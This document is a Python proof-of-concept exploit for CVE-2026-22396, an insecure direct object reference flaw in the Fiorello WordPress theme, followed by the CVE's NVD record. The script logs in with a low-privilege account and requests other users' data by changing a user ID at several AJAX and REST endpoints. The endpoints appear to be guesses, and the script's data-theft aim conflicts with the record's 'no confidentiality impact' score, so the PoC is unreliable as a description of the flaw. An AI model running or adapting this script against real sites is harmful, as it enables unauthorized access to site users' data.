CVE-2026-22396

# CVE-2026-22396 PoC - Fiorello Theme IDOR Vulnerability # Affected: Fiorello WordPress Theme <= 1.0 import requests import json TARGET_URL = "http://target-site.com" ATTACKER_USERNAME = "attacker" ATTACKER_PASSWORD = "password123" TARGET_USER_ID = 1 # Victim user ID to target def exploit_idor(): """ Exploit IDOR vulnerability in Fiorello theme to access unauthorized resources """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': ATTACKER_USERNAME, 'pwd': ATTACKER_PASSWORD, 'wp-submit': 'Log In' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Login successful with low-privilege account") # Step 2: Exploit IDOR by manipulating object references # Common vulnerable endpoints in WordPress themes vulnerable_endpoints = [ f"{TARGET_URL}/wp-admin/admin-ajax.php?action=get_user_data&user_id={TARGET_USER_ID}", f"{TARGET_URL}/wp-admin/admin-ajax.php?action=fiorello_get_profile&uid={TARGET_USER_ID}", f"{TARGET_URL}/wp-json/wp/v2/users/{TARGET_USER_ID}", ] for endpoint in vulnerable_endpoints: print(f"\n[*] Testing endpoint: {endpoint}") response = session.get(endpoint) if response.status_code == 200: try: data = response.json() if data: print(f"[+] IDOR Exploited! Retrieved unauthorized data:") print(json.dumps(data, indent=2)) return True except: if len(response.text) > 0: print(f"[+] IDOR Exploited! Retrieved unauthorized data:") print(response.text[:500]) return True else: print(f"[-] Request returned status: {response.status_code}") print("\n[-] IDOR exploitation attempt completed") return False if __name__ == "__main__": print("=" * 60) print("CVE-2026-22396 - Fiorello Theme IDOR PoC") print("=" * 60) exploit_idor()

{"cve": {"id": "CVE-2026-22396", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:32.947", "lastModified": "2026-04-28T19:36:34.250", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in Mikado-Themes Fiorello fiorello allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Fiorello: from n/a through <= 1.0."}, {"lang": "es", "value": "Vulnerabilidad de elusión de autorización a través de clave controlada por el usuario en Mikado-Themes Fiorello fiorello permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Fiorello: desde n/a hasta &lt;= 1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/fiorello/vulnerability/wordpress-fiorello-theme-1-0-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}